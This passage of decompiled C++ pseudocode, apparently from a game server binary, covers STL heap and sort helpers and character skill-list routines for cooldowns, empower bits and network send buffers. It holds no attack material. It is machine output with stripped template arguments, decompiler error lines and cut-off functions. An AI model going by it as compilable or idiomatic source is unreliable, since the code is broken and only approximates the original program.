*)(v13 + 12) = *(_DWORD *)(v15 + 12); *(_DWORD *)(v13 + 16) = *(_DWORD *)(v15 + 16); v16 = (*(_DWORD *)&v5 - v15) / 20; v13 = v15; if ( v6 >= v16 ) { v20 = *(_DWORD *)&_First + 20 * (v6 - v16); v17 = &v20; } else { v19 = v15 + *(_DWORD *)&_Mid; v17 = &v19; } v15 = *v17; } while ( *v17 != v11 ); v10 = _Mid; } *(_DWORD *)v13 = _Holeval; *(_DWORD *)(v13 + 4) = v22; *(_DWORD *)(v13 + 8) = v23; *(_DWORD *)(v13 + 12) = v24; *(_DWORD *)(v13 + 16) = v25; v11 -= 20; --*(_DWORD *)&_Last; } while ( _Last ); } } //----- (0043ADC0) -------------------------------------------------------- void __thiscall std::list>::clear(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 std::_List_nod,std::allocator > >::_Node *v2; // ecx@1 void *v3; // eax@1 bool v4; // zf@1 void *v5; // edi@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v1->_Myhead->_Prev = v1->_Myhead; v4 = v3 == v1->_Myhead; v1->_Mysize = 0; if ( !v4 ) { do { v5 = *(void **)v3; operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (0043AE00) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, PassiveDataBox::PSSetAbstateIndex *const *_Val) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0xCu); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; result->_Myval = *_Val; } return result; } //----- (0043AE30) -------------------------------------------------------- void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // eax@1 int v5; // eax@2 int v6; // edi@2 int v7; // edx@2 int v8; // esi@2 std::vector >::iterator v9; // ST30_4@2 std::vector >::iterator v10; // ST18_4@2 int v11; // ST10_4@2 int _Firsta; // [sp+8h] [bp+4h]@2 int _Lasta; // [sp+10h] [bp+Ch]@2 v4 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v4 <= 40 ) { std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, _Mid, _Last, _Pred); } else { v5 = (v4 + 1) / 8; v6 = 40 * v5; v7 = 40 * v5 + *(_DWORD *)&_First; v8 = 20 * v5; v9 = _First; _Firsta = 20 * v5 + *(_DWORD *)&_First; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v9, (std::vector >::iterator)_Firsta, (std::vector >::iterator)v7, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)(*(_DWORD *)&_Mid - v8), _Mid, (std::vector >::iterator)(v8 + *(_DWORD *)&_Mid), _Pred); v10 = _Last; v11 = *(_DWORD *)&_Last - v6; _Lasta = *(_DWORD *)&_Last - v8; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v11, (std::vector >::iterator)_Lasta, v10, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)_Firsta, _Mid, (std::vector >::iterator)_Lasta, _Pred); } } //----- (0043AEE0) -------------------------------------------------------- void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // edi@1 int v6; // esi@1 bool i; // zf@1 int v8; // eax@4 int v9; // ecx@4 int v10; // eax@6 int v11; // ecx@6 _BYTE v12[20]; // ST0C_20@7 v5 = _Hole; v6 = 2 * _Hole + 2; for ( i = v6 == _Bottom; v6 < _Bottom; *(_DWORD *)(v9 + 16) = *(_DWORD *)(v8 + 16) ) { if ( _Pred( (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6), (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6 - 20)) ) --v6; v8 = *(_DWORD *)&_First + 20 * v6; v9 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v9 = *(_DWORD *)v8; *(_DWORD *)(v9 + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v8 + 12); v5 = v6; v6 = 2 * v6 + 2; i = v6 == _Bottom; } if ( i ) { v10 = *(_DWORD *)&_First + 20 * _Bottom - 20; v11 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v11 = *(_DWORD *)v10; *(_DWORD *)(v11 + 4) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v11 + 8) = *(_DWORD *)(v10 + 8); *(_DWORD *)(v11 + 12) = *(_DWORD *)(v10 + 12); *(_DWORD *)(v11 + 16) = *(_DWORD *)(v10 + 16); v5 = _Bottom - 1; } *(_DWORD *)v12 = *(_DWORD *)&_Val; *(_QWORD *)&v12[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v12[12] = *(_QWORD *)&_Val.cs_Mastery; std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, _Hole, *(CharaterSkillList::CharSkill *)v12, _Pred); } //----- (0043AFC0) -------------------------------------------------------- void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { _BYTE v6[20]; // ST0C_20@1 signed int v7; // edx@1 **(_DWORD **)&_Dest = **(_DWORD **)&_First; *(_DWORD *)(*(_DWORD *)&_Dest + 4) = *(_DWORD *)(*(_DWORD *)&_First + 4); *(_DWORD *)(*(_DWORD *)&_Dest + 8) = *(_DWORD *)(*(_DWORD *)&_First + 8); *(_DWORD *)(*(_DWORD *)&_Dest + 12) = *(_DWORD *)(*(_DWORD *)&_First + 12); *(_DWORD *)(*(_DWORD *)&_Dest + 16) = *(_DWORD *)(*(_DWORD *)&_First + 16); *(_DWORD *)v6 = *(_DWORD *)&_Val; *(_QWORD *)&v6[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v6[12] = *(_QWORD *)&_Val.cs_Mastery; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, 0, v7 + ((unsigned int)v7 >> 31), *(CharaterSkillList::CharSkill *)v6, _Pred); } //----- (0043B040) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this) { CharaterSkillList *v1; // edi@1 int v2; // esi@1 int v3; // ecx@2 int v4; // edx@2 unsigned int v5; // eax@3 unsigned int v6; // edi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerSummary"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( v1->csl_SkillNumber > 0 ) { v3 = (int)&v1->csl_Skill._Myfirst->cs_Empower; v4 = v1->csl_SkillNumber; do { v5 = *(_WORD *)v3; v6 = ((unsigned int)*(_WORD *)v3 >> 12) + (((unsigned int)*(_WORD *)v3 >> 4) & 0xF) + ((v5 >> 8) & 0xF); v3 += 20; --v4; v2 += (v5 & 0xF) + v6; } while ( v4 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); return v2; } //----- (0043B0E0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 unsigned int v2; // ebx@1 int i; // ecx@1 CharaterSkillList::CharSkill *v4; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 0; ++funcallanalizer.fca_stackpoint; for ( i = 0; ; ++i ) { v4 = v1->csl_Skill._Myfirst; if ( !v4 ) break; if ( v2 >= v1->csl_Skill._Mylast - v4 ) break; HIBYTE(v4[i].cs_Empower._bf0) &= 0xFu; HIBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xFu; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; ++v2; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); } //----- (0043B190) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_FillSendBuffer_Server(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *pBuf, int nStartNum, int ServerType) { CharaterSkillList *v4; // ebx@1 PROTO_NC_CHARSAVE_SKILL_REQ *v5; // esi@1 int v6; // ebp@1 unsigned int v7; // eax@2 int v8; // edi@2 CharaterSkillList::CharSkill *v9; // ecx@4 unsigned int v10; // ebp@7 int v11; // eax@10 int v12; // eax@10 int cur; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v16; // [sp+20h] [bp-4h]@1 int pBufa; // [sp+28h] [bp+4h]@1 v4 = this; _.fe_FunctionCode = "CharaterSkillList::csl_FillSaveBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_FillSaveBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; mysecond(&cur); v5 = pBuf; pBuf->number = 0; v6 = nStartNum; pBufa = nStartNum; if ( nStartNum < v4->csl_SkillNumber ) { v7 = clockwatch.cw_CurrTick; v8 = nStartNum; do { if ( v5->number >= 0x1F4u ) break; v9 = v4->csl_Skill._Myfirst; if ( v9[v8].cs_EndOfCooltime > v7 ) { v10 = (v9[v8].cs_EndOfCooltime - v7) / 0xA; v9[v8].cs_bSave = 1; if ( (signed int)v10 > 10800 ) AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_FillSaveBuffer : Too long cooltime ", 0); } else { if ( !v9[v8].cs_bSave && ServerType == 1 ) goto LABEL_11; v10 = 0; v9[v8].cs_bSave = 0; } *(_DWORD *)&v5[2 * v5->number + 1].handle.bufferlocation = cur; HIWORD(v5[2 * v5->number + 1].handle.chrregnum) = v4->csl_Skill._Myfirst[v8].cs_SkillId; *(_DWORD *)&v5[2 * v5->number + 1].number = v10; v11 = (int)&v5[2 * v5->number + 2].handle.chrregnum; *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ LOBYTE(v4->csl_Skill._Myfirst[v8].cs_Empower._bf0)) & 0xF; LOBYTE(v5[2 * v5->number + 2].handle.chrregnum) = v5[2 * v5->number + 2].handle.chrregnum & 0xF | 16 * ((unsigned int)v4->csl_Skill._Myfirst[v8].cs_Empower._bf0 >> 4); v12 = (int)((char *)&v5[2 * v5->number + 2].handle.chrregnum + 1); *(_BYTE *)v12 ^= (*(_BYTE *)v12 ^ HIBYTE(v4->csl_Skill._Myfirst[v8].cs_Empower._bf0)) & 0xF; BYTE1(v5[2 * v5->number + 2].handle.chrregnum) = BYTE1(v5[2 * v5->number + 2].handle.chrregnum) & 0xF | 16 * ((unsigned __int16)v4->csl_Skill._Myfirst[v8].cs_Empower._bf0 >> 12); v6 = pBufa; *(unsigned int *)((char *)&v5[2 * v5->number++ + 2].handle.chrregnum + 2) = v4->csl_Skill._Myfirst[v8].cs_Mastery; v7 = clockwatch.cw_CurrTick; LABEL_11: ++v6; ++v8; pBufa = v6; } while ( v6 < v4->csl_SkillNumber ); } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); return v6; } //----- (0043B3A0) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_FillSendBuffer_Client(CharaterSkillList *this, PROTO_NC_CHAR_SKILLCLIENT_CMD *pBuf, int nStartNum, unsigned __int16 *nMaxNum) { CharaterSkillList *v4; // ebx@1 PROTO_NC_CHAR_SKILLCLIENT_CMD *v5; // esi@1 int v6; // ebp@1 int v7; // edi@2 CharaterSkillList::CharSkill *v8; // eax@4 signed int v9; // ecx@4 unsigned int v10; // ebp@8 char v11; // dl@11 int v12; // eax@11 int cur; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 int pBufa; // [sp+28h] [bp+4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_FillSaveBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; mysecond(&cur); v5 = pBuf; pBuf->number = 0; v6 = nStartNum; pBufa = nStartNum; if ( nStartNum < v4->csl_SkillNumber ) { v7 = nStartNum; do { if ( v5->number >= 0x1F4u ) break; v8 = v4->csl_Skill._Myfirst; v9 = v8[v7].cs_SkillId; if ( v9 < 29200 || v9 > 29205 ) { if ( v8[v7].cs_EndOfCooltime > clockwatch.cw_CurrTick ) { v10 = (v8[v7].cs_EndOfCooltime - clockwatch.cw_CurrTick) / 0xA; if ( (signed int)v10 > 10800 ) AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_FillSaveBuffer : Too long cooltime ", 0); } else { v10 = 0; } LOWORD(v5[2 * v5->number + 1].chrregnum) = v4->csl_Skill._Myfirst[v7].cs_SkillId; *(unsigned int *)((char *)&v5[2 * v5->number + 1].chrregnum + 2) = v10; v11 = LOBYTE(v5[2 * (v5->number + 1)].chrregnum); LOBYTE(v5[2 * (v5->number + 1)].chrregnum) = (v11 ^ LOBYTE(v4->csl_Skill._Myfirst[v7].cs_Empower._bf0)) & 0xF ^ v11; LOBYTE(v5[2 * (v5->number + 1)].chrregnum) = v5[2 * (v5->number + 1)].chrregnum & 0xF | 16 * ((unsigned int)v4->csl_Skill._Myfirst[v7].cs_Empower._bf0 >> 4); v12 = (int)((char *)&v5[2 * v5->number + 2].chrregnum + 1); *(_BYTE *)v12 ^= (*(_BYTE *)v12 ^ HIBYTE(v4->csl_Skill._Myfirst[v7].cs_Empower._bf0)) & 0xF; BYTE1(v5[2 * v5->number + 2].chrregnum) = BYTE1(v5[2 * v5->number + 2].chrregnum) & 0xF | 16 * ((unsigned __int16)v4->csl_Skill._Myfirst[v7].cs_Empower._bf0 >> 12); v6 = pBufa; *(unsigned int *)((char *)&v5[2 * v5->number++ + 2].chrregnum + 2) = v4->csl_Skill._Myfirst[v7].cs_Mastery; } else { --*nMaxNum; } ++v6; ++v7; pBufa = v6; } while ( v6 < v4->csl_SkillNumber ); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_FillSaveBuffer"); return v6; } //----- (0043B5A0) -------------------------------------------------------- #error "43B5A0: undefined or illegal type '#593' (funcsize=100)" //----- (0043B690) -------------------------------------------------------- #error "43B690: undefined or illegal type '#593' (funcsize=189)" //----- (0043B950) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // edi@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&v6 + 20 * v8 / 2), _Val) ) { *(_DWORD *)&v6 += 20 * v8 / 2 + 20; v8 += -1 - v8 / 2; } else { v8 /= 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (0043B9C0) -------------------------------------------------------- std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // esi@1 int v5; // ebx@1 unsigned int v6; // ebp@9 unsigned int v7; // edi@9 int v8; // ecx@13 int v9; // ST8C_4@13 int v10; // ST90_4@13 int v11; // ST98_4@13 int v12; // ST94_4@13 bool v13; // zf@15 int v14; // ebp@16 int v15; // ST60_4@19 int v16; // ST64_4@19 int v17; // ST68_4@19 int v18; // ST6C_4@19 int v19; // ST70_4@19 bool v20; // cf@20 int v21; // eax@25 int v22; // STA0_4@25 int v23; // STA4_4@25 int v24; // STAC_4@25 int v25; // STA8_4@25 int v26; // ST74_4@26 int v27; // ST78_4@26 int v28; // ST7C_4@26 int v29; // ST84_4@26 unsigned int v30; // eax@26 int v31; // ST80_4@26 int v32; // ST24_4@29 int v33; // ST28_4@29 int v34; // ST2C_4@29 int v35; // ST30_4@29 int v36; // ST34_4@29 int v37; // ST38_4@30 int v38; // ST3C_4@30 int v39; // ST40_4@30 int v40; // ST44_4@30 int v41; // ST48_4@30 int v42; // ST4C_4@31 int v43; // ST50_4@31 int v44; // ST54_4@31 int v45; // ST58_4@31 int v46; // ST5C_4@31 std::pair >::iterator,std::vector >::iterator> *v47; // eax@32 int _Glast; // [sp+10h] [bp-90h]@2 unsigned int _Glasta; // [sp+10h] [bp-90h]@9 v4 = *(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)(*(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2), (std::vector >::iterator)(*(_DWORD *)&_Last - 20), _Pred); v5 = v4 + 20; if ( *(unsigned int *)&_First < v4 ) { do { _Glast = v4 - 20; if ( _Pred((CharaterSkillList::CharSkill *)(v4 - 20), (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)_Glast) ) break; v4 -= 20; } while ( *(unsigned int *)&_First < _Glast ); } for ( ; v5 < *(unsigned int *)&_Last; v5 += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)v5, (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v5) ) break; } v6 = v4; v7 = v5; _Glasta = v4; while ( 1 ) { while ( 1 ) { for ( ; v7 < *(_DWORD *)&_Last; v7 += 20 ) { if ( !_Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v7) ) { if ( _Pred((CharaterSkillList::CharSkill *)v7, (CharaterSkillList::CharSkill *)v4) ) break; v8 = *(_DWORD *)v5; v9 = *(_DWORD *)(v5 + 4); v10 = *(_DWORD *)(v5 + 8); v11 = *(_DWORD *)(v5 + 16); v12 = *(_DWORD *)(v5 + 12); *(_DWORD *)v5 = *(_DWORD *)v7; *(_DWORD *)(v5 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v5 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v5 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v5 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v8; *(_DWORD *)(v7 + 4) = v9; *(_DWORD *)(v7 + 8) = v10; *(_DWORD *)(v7 + 12) = v12; v5 += 20; *(_DWORD *)(v7 + 16) = v11; } } v13 = v6 == _First; if ( v6 > *(_DWORD *)&_First ) { v14 = v6 - 20; do { if ( !_Pred((CharaterSkillList::CharSkill *)v14, (CharaterSkillList::CharSkill *)v4) ) { if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v14) ) break; v4 -= 20; v15 = *(_DWORD *)v4; v16 = *(_DWORD *)(v4 + 4); v17 = *(_DWORD *)(v4 + 8); v18 = *(_DWORD *)(v4 + 12); v19 = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = *(_DWORD *)v14; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v14 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v14 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v14 + 16); *(_DWORD *)v14 = v15; *(_DWORD *)(v14 + 4) = v16; *(_DWORD *)(v14 + 8) = v17; *(_DWORD *)(v14 + 12) = v18; *(_DWORD *)(v14 + 16) = v19; } v14 -= 20; v20 = *(_DWORD *)&_First < _Glasta - 20; _Glasta -= 20; } while ( v20 ); v6 = _Glasta; v13 = _Glasta == _First; } if ( v13 ) break; v6 -= 20; _Glasta = v6; if ( v7 == _Last ) { v4 -= 20; if ( v6 != v4 ) { v32 = *(_DWORD *)v6; v33 = *(_DWORD *)(v6 + 4); v34 = *(_DWORD *)(v6 + 8); v35 = *(_DWORD *)(v6 + 12); v36 = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = *(_DWORD *)v4; *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v6 + 12) = *(_DWORD *)(v4 + 12); *(_DWORD *)(v6 + 16) = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = v32; *(_DWORD *)(v4 + 4) = v33; *(_DWORD *)(v4 + 8) = v34; *(_DWORD *)(v4 + 12) = v35; *(_DWORD *)(v4 + 16) = v36; } v37 = *(_DWORD *)v4; v38 = *(_DWORD *)(v4 + 4); v39 = *(_DWORD *)(v4 + 8); v40 = *(_DWORD *)(v4 + 12); v41 = *(_DWORD *)(v4 + 16); v5 -= 20; *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v37; *(_DWORD *)(v5 + 4) = v38; *(_DWORD *)(v5 + 8) = v39; *(_DWORD *)(v5 + 12) = v40; *(_DWORD *)(v5 + 16) = v41; } else { v42 = *(_DWORD *)v7; v43 = *(_DWORD *)(v7 + 4); v44 = *(_DWORD *)(v7 + 8); v45 = *(_DWORD *)(v7 + 12); v46 = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = *(_DWORD *)v6; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v6 + 12); *(_DWORD *)(v7 + 16) = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = v42; *(_DWORD *)(v6 + 4) = v43; *(_DWORD *)(v6 + 8) = v44; *(_DWORD *)(v6 + 12) = v45; v7 += 20; *(_DWORD *)(v6 + 16) = v46; } } if ( v7 == _Last ) break; if ( v5 != v7 ) { v21 = *(_DWORD *)v4; v22 = *(_DWORD *)(v4 + 4); v23 = *(_DWORD *)(v4 + 8); v24 = *(_DWORD *)(v4 + 16); v25 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v21; *(_DWORD *)(v5 + 4) = v22; *(_DWORD *)(v5 + 8) = v23; *(_DWORD *)(v5 + 12) = v25; *(_DWORD *)(v5 + 16) = v24; } v26 = *(_DWORD *)v4; v27 = *(_DWORD *)(v4 + 4); v28 = *(_DWORD *)(v4 + 8); v29 = *(_DWORD *)(v4 + 16); v30 = v7; v31 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v7; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v26; *(_DWORD *)(v7 + 4) = v27; *(_DWORD *)(v7 + 8) = v28; v5 += 20; v7 += 20; *(_DWORD *)(v30 + 12) = v31; v4 += 20; *(_DWORD *)(v30 + 16) = v29; } v47 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; *(_DWORD *)&result->second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v47; } //----- (0043BE90) -------------------------------------------------------- void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *a5) { int v5; // esi@1 int v6; // ebx@2 _BYTE v7[20]; // ST0C_20@3 v5 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; if ( v5 > 0 ) { v6 = *(_DWORD *)&_First + 20 * v5; do { v6 -= 20; *(_DWORD *)v7 = *(_DWORD *)v6; *(_QWORD *)&v7[4] = *(_QWORD *)(v6 + 4); --v5; *(_QWORD *)&v7[12] = *(_QWORD *)(v6 + 12); std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20, *(CharaterSkillList::CharSkill *)v7, _Pred); } while ( v5 > 0 ); } } //----- (0043BF10) -------------------------------------------------------- CharaterSkillList::CharacterToggleSkill *__thiscall CharaterSkillList::csl_Toggle_GetToggleSkill(CharaterSkillList *this, unsigned __int16 nSkillID) { CharaterSkillList::CharacterToggleSkill *v2; // edx@1 CharaterSkillList::CharacterToggleSkill *result; // eax@3 CharaterSkillList::CharacterToggleSkill *v4; // esi@4 unsigned int i; // edx@4 v2 = this->csl_ToggleSkill._Myfirst; if ( v2 && this->csl_ToggleSkill._Mylast - v2 ) { v4 = this->csl_ToggleSkill._Myfirst; for ( i = 0; v4 && i < this->csl_ToggleSkill._Mylast - v4; ++i ) { if ( this->csl_ToggleSkill._Myfirst[i].cts_nSkillID == nSkillID ) return &this->csl_ToggleSkill._Myfirst[i]; } result = 0; } else { result = 0; } return result; } //----- (0043BF70) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_Toggle_IsOn(CharaterSkillList *this, unsigned __int16 nSkillID) { CharaterSkillList::CharacterToggleSkill *v2; // eax@1 char result; // al@2 v2 = CharaterSkillList::csl_Toggle_GetToggleSkill(this, nSkillID); if ( v2 ) result = v2->cts_bSkillOn; else result = 0; return result; } //----- (0043BF90) -------------------------------------------------------- void __thiscall CharacterPassiveList::_CharacterPassiveList(CharacterPassiveList *this) { BitSet *v1; // edi@1 char *v2; // esi@1 v1 = (BitSet *)this; v2 = (char *)&this->cpl_SetAbstateList; std::list>::clear((std::list,std::allocator > > *)&this->cpl_SetAbstateList); std::list>::clear((std::list,std::allocator > > *)v2); operator delete(*((void **)v2 + 1)); 